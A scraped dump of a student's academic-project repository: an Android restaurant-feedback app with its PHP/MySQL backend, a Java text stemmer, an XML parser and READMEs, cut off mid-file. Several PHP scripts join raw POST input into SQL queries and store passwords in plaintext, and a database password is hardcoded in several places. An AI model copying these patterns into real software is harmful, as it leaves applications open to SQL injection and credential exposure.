(tStream.incrementToken()){ result.append(term.toString()); result.append(" "); } } catch (IOException ioe){ System.out.println("Error: "+ioe.getMessage()); } } // If, for some reason, the stemming did not happen, return the original text if (result.length()==0) result.append(text); return result.toString().trim(); } public static void main (String[] args){ try { String val="<NAME> amenities pressed her allegations that the former head of her Iowa presidential bid was bribed by the campaign of rival Ron Paul to endorse him, even as one of her own aides denied the charge"; System.out.println(val); val =RemoveStopWords.removeStopWords(val); System.out.println(val); String str =Stemmer.Stem("<NAME> amenities pressed her allegations that the former head of her Iowa presidential bid was bribed by the campaign of rival Ron Paul to endorse him, even as one of her own aides denied the charge."); System.out.println(str); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }<file_sep>/Software Engineering/Feedback Android Application/Admin/src/com/se1/admin/AdminHandler.java package com.se1.admin; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.List; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.NameValuePair; import org.apache.http.client.HttpClient; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.message.BasicNameValuePair; import com.se1.admin.R; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; /** * @author <NAME> * Class Name : Admin Handler * Description : This class is the next screen after the admin successfully logs in. * It has two buttons View Details where admin can view his/her detials * Update Details where admin can update the details. */ public class AdminHandler extends Activity{ TextView view_det_text; TextView update_det_text; Button view_details; Button update_details; Button logout; Admin admin=null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.admin_handler); view_details = (Button)findViewById(R.id.view); update_details = (Button)findViewById(R.id.update_d); logout = (Button)findViewById(R.id.button1); view_det_text = (TextView)findViewById(R.id.logout); update_det_text = (TextView)findViewById(R.id.textView2); admin = (Admin) getIntent().getSerializableExtra("AdminObject"); final Context context = this; //Assigns the clicklistner on view details button to show the next screen. view_details.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String result = getDetailsAdmin(); if(result.length()>7) { Intent intent = new Intent(context, AdminViewDetails.class); intent.putExtra("Result", result); startActivity(intent); } } }); //Assigns the clicklistner on update details button to show the next screen. update_details.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(context, AdminUpdateActivity.class); intent.putExtra("AdminObject", admin); startActivity(intent); } }); //Assign the onclick listner to on the logout button to get back to the login screen logout.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(context, AdminActivity.class); startActivity(intent); } }); } /** * Method Name : getDetailsAdmin * Description : This function get the details of the admin from the database. * @return : String value from the database. */ private String getDetailsAdmin() { String result=""; BufferedReader reader=null; try { HttpClient httpclient = new DefaultHttpClient(); //Makes a post request to the omega server. HttpPost httppost = new HttpPost( "http://omega.uta.edu/~axm5553/admin/viewDetails.php"); // Adds the parameters username and password with the request. List<NameValuePair> pairs = new ArrayList<NameValuePair>(); pairs.add(new BasicNameValuePair("username",admin.getUserName())); pairs.add(new BasicNameValuePair("password",<PASSWORD>.<PASSWORD>())); httppost.setEntity(new UrlEncodedFormEntity(pairs)); // Response from the request. HttpResponse response = httpclient.execute(httppost); HttpEntity entity = response.getEntity(); InputStream is = entity.getContent(); reader = new BufferedReader( new InputStreamReader(is, "iso-8859-1"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { System.out.println("line :" + line); sb.append(line + "\n"); } is.close(); result =sb.toString(); } catch (IOException e) { Log.e("Error", e.toString()); Toast msg = Toast.makeText(AdminHandler.this, e.toString(), Toast.LENGTH_SHORT); msg.show(); }finally{ if(reader!=null) try { reader.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } return result; } @Override public void onBackPressed() { // TODO Auto-generated method stub //super.onBackPressed(); } } <file_sep>/Software Engineering/Feedback Android Application/Admin/src/com/se1/admin/AdminSignupActivity.java package com.se1.admin; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.List; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.NameValuePair; import org.apache.http.client.HttpClient; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.message.BasicNameValuePair; import com.se1.admin.util.Util; import com.se1.admin.R; import android.os.Bundle; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; /** * @author <NAME> * Class Name : AdminSignupActivity * Description : This class is responsible for the showing up the sign up screen for registering the admin. */ public class AdminSignupActivity extends Activity { EditText first_name; EditText last_name; EditText user_name; EditText password; EditText confirm_password; EditText phone_number; EditText email_id; Button sign_up; /* (non-Javadoc) * @see android.app.Activity#onCreate(android.os.Bundle) */ @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_manager_signup); first_name = (EditText)findViewById(R.id.firstname); last_name = (EditText)findViewById(R.id.lastname); user_name = (EditText)findViewById(R.id.username); password = (EditText)findViewById(R.id.password); confirm_password = (EditText)findViewById(R.id.confirm_password); phone_number = (EditText)findViewById(R.id.phone_number); email_id = (EditText)findViewById(R.id.email_id); sign_up = (Button)findViewById(R.id.signup); final Context context = this; //Assigns the clicklistner signup button. sign_up.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String message=""; //Validation for the proper input from the admin. if(!Util.isValidText(String.valueOf(first_name.getText()))){ first_name.setError("Enter First name properly.Allowed 3 to 15 characters with (.)and( _ )"); return; } if(!Util.isValidText(String.valueOf(last_name.getText()))){ last_name.setError("Enter last name properly.Allowed 3 to 15 characters with (.)and( _ )"); return; } if(!Util.isValidText(String.valueOf(user_name.getText()))){ user_name.setError("Enter user name properly.Allowed 3 to 15 characters with (.)and( _ )"); return; } if(!Util.isValidPassword(String.valueOf(password.getText()))){ password.setError("Enter password properly.Allowed 3 to 15 characters with (.) ( _ )( @ )"); return; } if(!String.valueOf(password.getText()).equals(String.valueOf(confirm_password.getText()))){ confirm_password.setError("Password doesnot match"); return; } if(!Util.isNumberValid(String.valueOf(phone_number.getText()))){ phone_number.setError("Enter a valid phone number"); return; } if(!Util.isEmailValid(String.valueOf(email_id.getText()))){ email_id.setError("Enter a valid email id"); return; } String result =registerManager(); if(result.trim().equals("Success")){ first_name.setText(""); last_name.setText(""); user_name.setText(""); password.setText(""); confirm_password.setText(""); phone_number.setText(""); email_id.setText(""); message="Admin registered successfully"; Toast msg = Toast.makeText(AdminSignupActivity.this, message, Toast.LENGTH_SHORT); msg.show(); Intent intent = new Intent(context, AdminActivity.class); startActivity(intent); } } }); } /** * Method Name : registerManager * Description : This method registers the admin to the database. * @return : String from the database. */ public String registerManager() { String result=""; BufferedReader reader=null; try { HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost( "http://omega.uta.edu/~axm5553/admin/insertManager.php"); List<NameValuePair> pairs = new ArrayList<NameValuePair>(); pairs.add(new BasicNameValuePair("firstname",String.valueOf(first_name.getText()))); pairs.add(new BasicNameValuePair("lastname",String.valueOf(last_name.getText()))); pairs.add(new BasicNameValuePair("username",String.valueOf(user_name.getText()))); pairs.add(new BasicNameValuePair("password",String.valueOf(password.getText()))); pairs.add(new BasicNameValuePair("number",String.valueOf(phone_number.getText()))); pairs.add(new BasicNameValuePair("email",String.valueOf(email_id.getText()))); httppost.setEntity(new UrlEncodedFormEntity(pairs)); HttpResponse response = httpclient.execute(httppost); HttpEntity entity = response.getEntity(); InputStream is = entity.getContent(); reader = new BufferedReader( new InputStreamReader(is, "iso-8859-1"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { //System.out.println("line :" + line); sb.append(line + "\n"); } is.close(); result =sb.toString(); Log.i("INFO", result); } catch (IOException e) { Log.e("Error", e.toString()); Toast msg = Toast.makeText(AdminSignupActivity.this, e.toString(), Toast.LENGTH_SHORT); msg.show(); }finally{ if(reader!=null) try { reader.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } return result; } } <file_sep>/Software Engineering/Feedback Android Application/Feedback/src/com/se1/feedback/Splash.java package com.se1.feedback; import android.app.Activity; import android.content.Intent; import android.media.MediaPlayer; import android.os.Bundle; /** * @author <NAME> * This class is responsible for splash screen which comes before the application */ public class Splash extends Activity { MediaPlayer voice; protected void onCreate (Bundle VidhyadharVenkatraman){ super.onCreate(VidhyadharVenkatraman); setContentView(R.layout.splash); voice= MediaPlayer.create(Splash.this, R.raw.feedback); voice.start(); Thread t1=new Thread() { public void run(){ try{ sleep(3000); }catch (InterruptedException e){ e.printStackTrace(); }finally { Intent i1=new Intent("com.se1.feedback.USERINFOACTIVITY"); startActivity(i1); } } }; t1.start(); } } <file_sep>/Software Engineering/Feedback Android Application/Feedback/src/com/se1/feedback/Util.java package com.se1.feedback; import java.util.regex.Pattern; /** * @author Akshay * Class Name : Util * Description : This is a Util class having validation functions for the whole application. */ public class Util { public static boolean isEmailValid(CharSequence email) { return android.util.Patterns.EMAIL_ADDRESS.matcher(email).matches(); } public static boolean isNumberValid(String phoneNumber) { Pattern pattern = Pattern.compile("^[0-9]{10,10}$"); return pattern.matcher(phoneNumber).matches(); } public static boolean isValidText(String str) { boolean flag = false; flag =Pattern.matches("^[a-zA-Z\\d._]{1,10}$", str); return flag; } public static boolean isValidPassword(String str) { boolean flag = false; flag =Pattern.matches("^[a-zA-Z\\d._@]{3,10}$", str); return flag; } public static boolean isCommentsValid(String comments) { boolean flag =true; if(comments.length()<10) flag =false; return flag; } } <file_sep>/Software Engineering/README.txt List of projects: 1: Feedback Android Application - This is an android application which takes the users feedback about a restaurant. 2: Tutor-Application - In this project i have done project cost estimation using Costar and have also made the project estimation using Microsoft Project Planner.<file_sep>/Software Engineering/Feedback Android Application/Website&Databasescripts/insertManager.php <?php $firstName = $_POST["firstname"]; $lastName = $_POST["lastname"]; $userName = $_POST["username"]; $password = $_POST["<PASSWORD>"]; $number = $_POST["number"]; $email = $_POST["email"]; $con=mysqli_connect("omega.uta.edu","axm5553","Rb31kU83","axm5553"); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } $query = "INSERT into admin(first_name,last_name,user_name,password,phone_number,email) values ('".$firstName."','".$lastName."','".$userName."','".$password."',".$number.",'".$email."')"; $result = mysqli_query($con,$query,MYSQLI_USE_RESULT); if($result){ echo "Success"; } else{ echo "Failure"; } mysqli_close($con); ?><file_sep>/Web Data Management and XML/README.txt Web Data Management & XML CSE5335 Pong - A Simple Pong Game TMDB - A Movie Web Application WebMushUp - Web Mashup: Display Best Restaurants on a Map Ebay Implementation - Ebay like shopping cart XML Storage and Quering SQLITE - Puting the data in SQlite database XML parsing through SAX,DOM,XPATH - Using XPath, DOM, and SAX Xquery Parsing - Using XQuery MessageBoard - Message bolg in PHP. Hadoop Project - Counting the number of orders <file_sep>/Web Data Management and XML/XML parsing through SAX,DOM,XPATH/DomParserXML.java /** * Name: <NAME> (1000995551) */ import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.DocumentBuilder; import org.w3c.dom.Document; import org.w3c.dom.NodeList; import org.w3c.dom.Node; import org.w3c.dom.Element; import java.io.File; public class DomParserXML { public static void main(String argv[]) { try { File fXmlFile = new File("SigmodRecord.xml"); DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder dBuilder = dbFactory.newDocumentBuilder(); Document doc = dBuilder.parse(fXmlFile); getTitle(doc); System.out.println(); System.out.println("************************************************************************"); System.out.println(); getAuthor(doc); System.out.println(); System.out.println("*************************************************************************"); System.out.println(); getVolumeInitPage(doc); } catch (Exception e) { e.printStackTrace(); } } public static void getVolumeInitPage(Document doc){ try{ doc.getDocumentElement().normalize(); NodeList nList = doc.getElementsByTagName("issue"); for (int temp = 0; temp < nList.getLength(); temp++) { Node nNode = nList.item(temp); if (nNode.getNodeType() == Node.ELEMENT_NODE) { Element eElement = (Element) nNode; NodeList articleList= eElement.getElementsByTagName("article"); for (int i = 0; i < articleList.getLength(); i++) { Node articleNode = articleList.item(i); if (articleNode.getNodeType() == Node.ELEMENT_NODE) { Element articleElement = (Element) articleNode; String title =articleElement.getElementsByTagName("title").item(0).getTextContent(); if(title.equals("Research in Knowledge Base Management Systems.")) { System.out.println("<initPage>"+articleElement.getElementsByTagName("initPage").item(0).getTextContent()+"</initPage>"); System.out.println("<endPage>"+articleElement.getElementsByTagName("endPage").item(0).getTextContent()+"</endPage>"); System.out.println("<volume>"+eElement.getElementsByTagName("volume").item(0).getTextContent()+"</volume>"); System.out.println("<number>"+eElement.getElementsByTagName("number").item(0).getTextContent()+"</number>"); } } } } } } catch(Exception e){ e.printStackTrace(); } } public static void getAuthor(Document doc){ try{ doc.getDocumentElement().normalize(); NodeList nList = doc.getElementsByTagName("article"); int len= nList.getLength(); for (int temp = 0; temp < nList.getLength(); temp++) { Node nNode = nList.item(temp); if (nNode.getNodeType() == Node.ELEMENT_NODE) { Element eElement = (Element) nNode; String titleBook =eElement.getElementsByTagName("title").item(0).getTextContent(); if(titleBook.contains("database") || titleBook.contains("Database")) { NodeList authorList = eElement.getElementsByTagName("author"); for (int j = 0; j < authorList.getLength(); j++) { Node authorNode = authorList.item(j); String authorName =authorNode.getTextContent(); System.out.println("<author>"+authorName+"</author>"); } } } } } catch(Exception e){ e.printStackTrace(); } } public static void getTitle(Document doc){ try{ doc.getDocumentElement().normalize(); NodeList nList = doc.getElementsByTagName("issue"); for (int temp = 0; temp < nList.getLength(); temp++) { Node nNode = nList.item(temp); if (nNode.getNodeType() == Node.ELEMENT_NODE) { Element eElement = (Element) nNode; if(eElement.getElementsByTagName("volume").item(0).getTextContent().equals("13") && eElement.getElementsByTagName("number").item(0).getTextContent().equals("4")) { NodeList articleList= eElement.getElementsByTagName("article"); for (int i = 0; i < articleList.getLength(); i++) { Node articleNode = articleList.item(i); if (articleNode.getNodeType() == Node.ELEMENT_NODE) { Element articleElement = (Element) articleNode; String title =articleElement.getElementsByTagName("title").item(0).getTextContent(); NodeList authorList = articleElement.getElementsByTagName("author"); for (int j = 0; j < authorList.getLength(); j++) { Node authorNode = authorList.item(j); String authorName =authorNode.getTextContent(); if(authorName.trim().equals("<NAME>")) { System.out.println("<title>"+title+"</title>"); } } } } } } } } catch(Exception e){ e.printStackTrace(); } } } <file_sep>/Distributed Systems/ElectionAlgorithm/README.txt Project Description: The coordinator election problem is to choose a process from among a group of processes on different processors in a distributed system to act as the central coordinator. An election algorithm is an algorithm for solving the coordinator election problem. By the nature of the coordinator election problem, any election algorithm must be a distributed algorithm. -a group of processes on different machines need to choose a coordinator -peer to peer communication: every process can send messages to every other process. -Assume that processes have unique IDs, such that one is highest -Assume that the priority of process Pi is i Tools and Technologies: Java , Java swing , Eclipse<file_sep>/Software Engineering/Feedback Android Application/Feedback/src/com/se1/feedback/RateRestaurant.java package com.se1.feedback; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.List; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.NameValuePair; import org.apache.http.client.HttpClient; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.message.BasicNameValuePair; import android.net.Uri; import android.net.rtp.RtpStream; import android.os.Bundle; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.util.Log; import android.view.Menu; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.RatingBar; import android.widget.Toast; /** * * @author Akshay * ClassName : RateRestaurant * Description: This class is responsible for taking the user input for the restaurant and then puts it in database. * If any of the user rating are below 2 then a sms notification is sent to the manager. */ public class RateRestaurant extends Activity { RatingBar music_rating; RatingBar service_rating; RatingBar food_rating; RatingBar ambience_rating; Button rate; Button averageRating; EditText comments; String userId; String name; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_rate_restaurant); // Here the UI is being build music_rating = (RatingBar)findViewById(R.id.music_rating); music_rating.setRating(1.0f); service_rating = (RatingBar)findViewById(R.id.service_rating); service_rating.setRating(1.0f); food_rating = (RatingBar)findViewById(R.id.food_rating); food_rating.setRating(1.0f); ambience_rating = (RatingBar)findViewById(R.id.ambience_rating); ambience_rating.setRating(1.0f); rate = (Button)findViewById(R.id.rate); averageRating = (Button)findViewById(R.id.avgRating); comments = (EditText)findViewById(R.id.comments); userId = getIntent().getSerializableExtra("UserId").toString(); name = getIntent().getSerializableExtra("name").toString(); final Context context = this; //This is a click event listener on the submit button which puts the data in the database. rate.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String message=""; String result =insertUserRatings(userId); //After sucessful insertion of data this condition occurs if(result.trim().equals("Success")){ //Here the sms content is being set String sms=name+" gave the rating for "; if(music_rating.getRating()<2.0 ) sms+="Music ,"; if(service_rating.getRating()<2.0) sms+="Service ,"; if(food_rating.getRating()<2.0) sms+="Food ,"; if(ambience_rating.getRating()<2.0) sms+="Ambience"; if(music_rating.getRating()<2.0 || service_rating.getRating()<2.0 || food_rating.getRating()<2.0 || ambience_rating.getRating()<2.0) { String number =getNumberAdmin(); String [] numberArray = number.split(";"); for(String no:numberArray){ sendSMS(no,sms+" below rating 2"); } //sendEmail(sms+" below rating 2"); } //sms content set is completed music_rating.setRating(0); service_rating.setRating(0); food_rating.setRating(0); ambience_rating.setRating(0); message="ThankYou for your ratings."; Toast msg = Toast.makeText(RateRestaurant.this, message, Toast.LENGTH_SHORT); msg.show(); //This puts the screen again to the user Info page Intent intent = new Intent(context, UserInfoActivity.class); startActivity(intent); }else{ Toast msg = Toast.makeText(RateRestaurant.this, "Error in posting ratings", Toast.LENGTH_SHORT); msg.show(); } } }); //Assign the onclick listner to on the average button to the webpage for the average rating averageRating.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Uri uri = Uri.parse("http://omega.uta.edu/~axm5553/admin/averagerating.php"); Intent intent=new Intent(Intent.ACTION_VIEW,uri); startActivity(intent); } }); } /** * Method Name : insertUserRatings * Description : This method is responsible for connecting to database and putting the users rating in the database. * @return : A string returned from the database. */ public String insertUserRatings(String userId) { String result=""; BufferedReader reader=null; try { HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost( "http://omega.uta.edu/~axm5553/admin/rating.php"); //"http://10.0.2.2/mysql/rating.php"); //Here the parameters are being sent along the url List<NameValuePair> pairs = new ArrayList<NameValuePair>(); pairs.add(new BasicNameValuePair("userid",userId)); pairs.add(new BasicNameValuePair("musicRating",String.valueOf(music_rating.getRating()))); pairs.add(new BasicNameValuePair("serviceRating",String.valueOf(service_rating.getRating()))); pairs.add(new BasicNameValuePair("foodRating",String.valueOf(food_rating.getRating()))); pairs.add(new BasicNameValuePair("ambienceRating",String.valueOf(ambience_rating.getRating()))); pairs.add(new BasicNameValuePair("comments",String.valueOf(comments.getText()))); httppost.setEntity(new UrlEncodedFormEntity(pairs)); HttpResponse response = httpclient.execute(httppost); HttpEntity entity = response.getEntity(); InputStream is = entity.getContent(); reader = new BufferedReader( new InputStreamReader(is, "iso-8859-1"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { //System.out.println("line :" + line); sb.append(line + "\n"); } is.close(); //Success message result =sb.toString(); Log.i("INFO", result); } catch (IOException e) { Log.e("Error", e.toString()); Toast msg = Toast.makeText(RateRestaurant.this, e.toString(), Toast.LENGTH_SHORT); msg.show(); }finally{ if(reader!=null) try { reader.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } return result; } /** * Method Name: sendSMS * Description : This code is responsible for sending the sms * @param phoneNumber * @param message */ private void sendSMS(String phoneNumber, String message) { SmsManager sms = SmsManager.getDefault(); sms.sendTextMessage(phoneNumber, null, message, null, null); } /** * Method Name: getNumberAdmin * Description : This method is responsible for getting the phone numbers from the admin table * @return */ public String getNumberAdmin() { String result=""; BufferedReader reader=null; try { HttpClient httpclient = new DefaultHttpClient(); HttpGet httppost = new HttpGet( "http://omega.uta.edu/~axm5553/admin/getNumber.php"); //"http://10.0.2.2/mysql/rating.php"); HttpResponse response = httpclient.execute(httppost); HttpEntity entity = response.getEntity(); InputStream is = entity.getContent(); reader = new BufferedReader( new InputStreamReader(is, "iso-8859-1"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { //System.out.println("line :" + line); sb.append(line + "\n"); } is.close(); //Success message result =sb.toString(); result = result.substring(0,result.length()-1); Log.i("INFO", result); } catch (IOException e) { Log.e("Error", e.toString()); Toast msg = Toast.makeText(RateRestaurant.this, e.toString(), Toast.LENGTH_SHORT); msg.show(); }finally{ if(reader!=null) try { reader.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } return result; } /** * MethodName: sendEmail * Description : This email is for sending an email. * @param message */ protected void sendEmail(String message) { Log.i("INFO","inside email"); String[] recipients = {"<EMAIL>"}; Intent email = new Intent(Intent.ACTION_SEND); // prompts email clients only email.putExtra(Intent.EXTRA_EMAIL, recipients); email.putExtra(Intent.EXTRA_SUBJECT, "Notification email from the user."); email.setType("plain/text"); email.putExtra(Intent.EXTRA_TEXT, message); try { // the user can choose the email client startActivity(email); Log.i("INFO","After email activity"); } catch (android.content.ActivityNotFoundException ex) { Toast.makeText(RateRestaurant.this, "No email client installed.", Toast.LENGTH_LONG).show(); } } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.rate_restaurant, menu); return true; } } <file_sep>/Software Engineering/Feedback Android Application/Website&Databasescripts/getNumber.php <?php $phone_number=""; $con=mysqli_connect("omega.uta.edu","axm5553","Rb31kU83","axm5553"); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } $query = "SELECT phone_number FROM admin"; $result = mysqli_query($con,$query); while($row = mysqli_fetch_array($result)) { $phone_number.= $row['phone_number'].";"; } echo $phone_number; mysqli_close($con); ?><file_sep>/Distributed Systems/ClientServer/README.txt Project Description: This is a multi threaded chat server . I have implemented this in java . There is one to one communication between the client . Suppose there is client A and client B connected and the third client C comes and wants to chat with Client A . At this time the Client C will not be allowed to chat with A. Now if Client B logs off the Client C can start chatting with Client A. The GUI of the project is being made in Java. There is server log UI as well where all the messages are being printed which flows through server. Tools and Technologies : Java , JavaSwing , Threading<file_sep>/Software Engineering/Feedback Android Application/Admin/src/com/se1/admin/Admin.java package com.se1.admin; /** * @<NAME> * Class Name : Admin * Description : This is a POJO class for the Admin. * It is a singleton class which enforces the same object in the whole application. */ import java.io.Serializable; public class Admin implements Serializable{ /** * This serial version id is used for the serialization and deserialization */ private static final long serialVersionUID = 1L; private static Admin instance = new Admin(); //static method to return the instance of the class. public static Admin getInstance() { return instance; } //Private constructor to prevent the object to be made from outside class. private Admin() { } //This method is to prevent the object cloning. @Override protected Object clone() throws CloneNotSupportedException { throw new CloneNotSupportedException("Clone Not supported Exception"); } //Getter setters for the Admin. private String userName; public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getUserName() { return userName; } public void setUserName(String userName) { this.userName = userName; } public String getNumber() { return number; } public void setNumber(String number) { this.number = number; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } private String password; private String number; private String email; } <file_sep>/Data Mining/FinalOutputBean.java public class FinalOutputBean { private int id; private String tags; public String getTags() { return tags; } public void setTags(String tags) { this.tags = tags; } public int getId() { return id; } public void setId(int id) { this.id = id; } } <file_sep>/Software Engineering/Feedback Android Application/Website&Databasescripts/rating.php <?php $user_id=$_POST["userid"]; $rtMusic = floatval($_POST["musicRating"]); $rtService = floatval($_POST["serviceRating"]); $rtFood= floatval($_POST["foodRating"]); $rtAmbience=floatval( $_POST["ambienceRating"]); $comments= $_POST["comments"]; $con=mysqli_connect("omega.uta.edu","axm5553","Rb31kU83","axm5553"); //$con=mysqli_connect("localhost","root","root","Feedback"); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } $queryMusic = "INSERT into user_rating(user_rating_id,user_id,rating_id,actual_rating) values ('".uniqid()."','".$user_id."',1,".$rtMusic.")"; $queryService = "INSERT into user_rating(user_rating_id,user_id,rating_id,actual_rating) values ('".uniqid()."','".$user_id."',2,".$rtService.")"; $queryFood = "INSERT into user_rating(user_rating_id,user_id,rating_id,actual_rating) values ('".uniqid()."','".$user_id."',3,".$rtFood.")"; $queryAmbience="INSERT into user_rating(user_rating_id,user_id,rating_id,actual_rating) values ('".uniqid()."','".$user_id."',4,".$rtAmbience.")"; $resultMusic = mysqli_query($con,$queryMusic,MYSQLI_USE_RESULT); $resultService = mysqli_query($con,$queryService,MYSQLI_USE_RESULT); $resultFood= mysqli_query($con,$queryFood,MYSQLI_USE_RESULT); $resultAmbience = mysqli_query($con,$queryAmbience,MYSQLI_USE_RESULT); $queryComments = "INSERT into comments(comment_id,user_id,comments) values('".uniqid()."','".$user_id."','".$comments."')"; $resultComments = mysqli_query($con,$queryComments,MYSQLI_USE_RESULT); if($resultMusic && $resultService && $resultFood && $resultAmbience){ echo "Success"; } else{ echo "Failure"; } mysqli_close($con); ?><file_sep>/Data Mining/README.txt Project Description: This is a Kaggle competition project which predicts the tag of stack overflow questions. The main idea behind the project is to build the model with the help of Classification technique . The classification technique i have used to build the model is the Naive Bayes classifier. Once the model is complete the test data is passed to predict the tags for those questions. The test data was provided by Stackoverflow.com The main file to run the project is Datamine.java The folders RequiredJars contains the jars which are used by this project to run successfully. The folder TestFiles contains the data provided by stack overflow on which i used Naive Bayes classifier.This folder also contains the Result.csv file which shows the output of the program. Tools and Technologies: Java , Eclipse<file_sep>/Web Data Management and XML/Ebay Implementation/buy.php <?php session_start(); if (!isset($_SESSION['items'])) { $_SESSION['items'] = array(); } ?> <html> <head><title>Buy Products</title></head> <body> <p>Shopping Basket:</p> <?php $buy=isset($_GET['buy']); echo $_SESSION['items'][$buy]['name']; ?> <table border=1> </table> <p/> Total: 0$<p/> <form action="buy.php" method="GET"> <input type="hidden" name="clear" value="1"/> <input type="submit" value="Empty Basket"/> </form> <p/> <form action="buy.php" method="GET"> <fieldset><legend>Find products:</legend> <label>Search for items: <input type="text" name="search"/><label> <input type="submit" name="Submit" value="Search"/> </fieldset> </form> <p/> <?php error_reporting(E_ALL); ini_set('display_errors','On'); if (isset($_GET['Submit'])) { $url = "http://sandbox.api.ebaycommercenetwork.com/publisher/3.0/rest/GeneralSearch?apiKey=<KEY>&trackingId=7000610&keyword=".$_GET['search']; $xmlstr = file_get_contents($url); //$xmlstr =stripslashes($xmlstr); $xml = new SimpleXMLElement($xmlstr); header('Content-Type: text/html'); $itemID =$xml->categories[0]->category[0]->items[0]->product[0]->attributes(); $name = $xml->categories[0]->category[0]->items[0]->product[0]->name; //echo $itemID; echo "<table border='1'>"; for($i = 0; $i < 1; $i++) { echo "<tr>"; echo "<td><a href=buy.php?buy=".$xml->categories[0]->category[0]->items[0]->product[0]->attributes()."><img src=\"" .$xml->categories[0]->category[0]->items[0]->product[0]->images[0]->image[0]->sourceURL. "\" /></a></td>"; echo "<td>". $xml->categories[0]->category[0]->items[0]->product[0]->name."</td>"; echo "<td>". $xml->categories[0]->category[0]->items[0]->product[0]->minPrice."</td>"; echo "</tr>"; } echo "</table>"; //$_SESSION['items'][$itemID] = array('image' => $xml->categories[0]->category[0]->items[0]->product[0]->images[0]->image[0]->sourceURL, 'Url' => $xml->categories[0]->category[0]->items[0]->product[0]->productOffersURL,'name'=>xml->categories[0]->category[0]->items[0]->product[0]->name,'price'=>$xml->categories[0]->category[0]->items[0]->product[0]->minPrice; $_SESSION['items'][$itemID] = array("name"=>$name); } ?> </body> </html>
f49021b3274b1de89f951d7e0313f4b429cb7f8d
[ "Markdown", "JavaScript", "Java", "Text", "PHP" ]
28
Text
akshaymatoo/Academic-Projects
8002549094db4caee23b78ed638c17d03b94238b
a7860ffaef877550e96897ddc94764a34f64e30f
refs/heads/master
<repo_name>ivan629/ufo-project-api<file_sep>/modules/request_controllers/ufo_chart_controller.py import common.constants as constants from modules.request_controllers.ufo_request_controller_base import BaseController class UfoChart(BaseController): def __init__(self, request_data): data = self.parse(request_data) self.years_range_data = self.read_file('years_range.json') self.chart_data_countries = self.read_file('chart_data_countries.json') self.stock_chart_data_statistic = self.read_file('chart_data_statistic.json') self.pie_chart_data_statistic = self.read_file('pie_chart_data_statistic.json') self.years_range = data['years_range'] self.start = self.years_range['start'] self.stop = self.years_range['stop'] self.pie_chart_data = {} self.stock_chart_data = {} self.country = 'Other' if ('country' in data and data['country'] is None) else data['country'] def get_ufo_chart_data(self): chart_response = {} while self.start <= self.stop: if str(self.start) in self.stock_chart_data_statistic[self.country]: for group_type in constants.STOCK_CHART_DATA_GROUPED_TYPES: one_group_ufo_items_dict = [] single_dates_ufo_data_items = self.stock_chart_data_statistic[self.country][str(self.start)][ group_type] for single_date_ufo_data_item in single_dates_ufo_data_items.values(): one_group_ufo_items_dict.append(single_date_ufo_data_item) if group_type in self.stock_chart_data: self.stock_chart_data[group_type] = { 'ufo_data': [*one_group_ufo_items_dict, *self.stock_chart_data[group_type]['ufo_data']] } else: self.stock_chart_data[group_type] = {'ufo_data': [*one_group_ufo_items_dict] } if 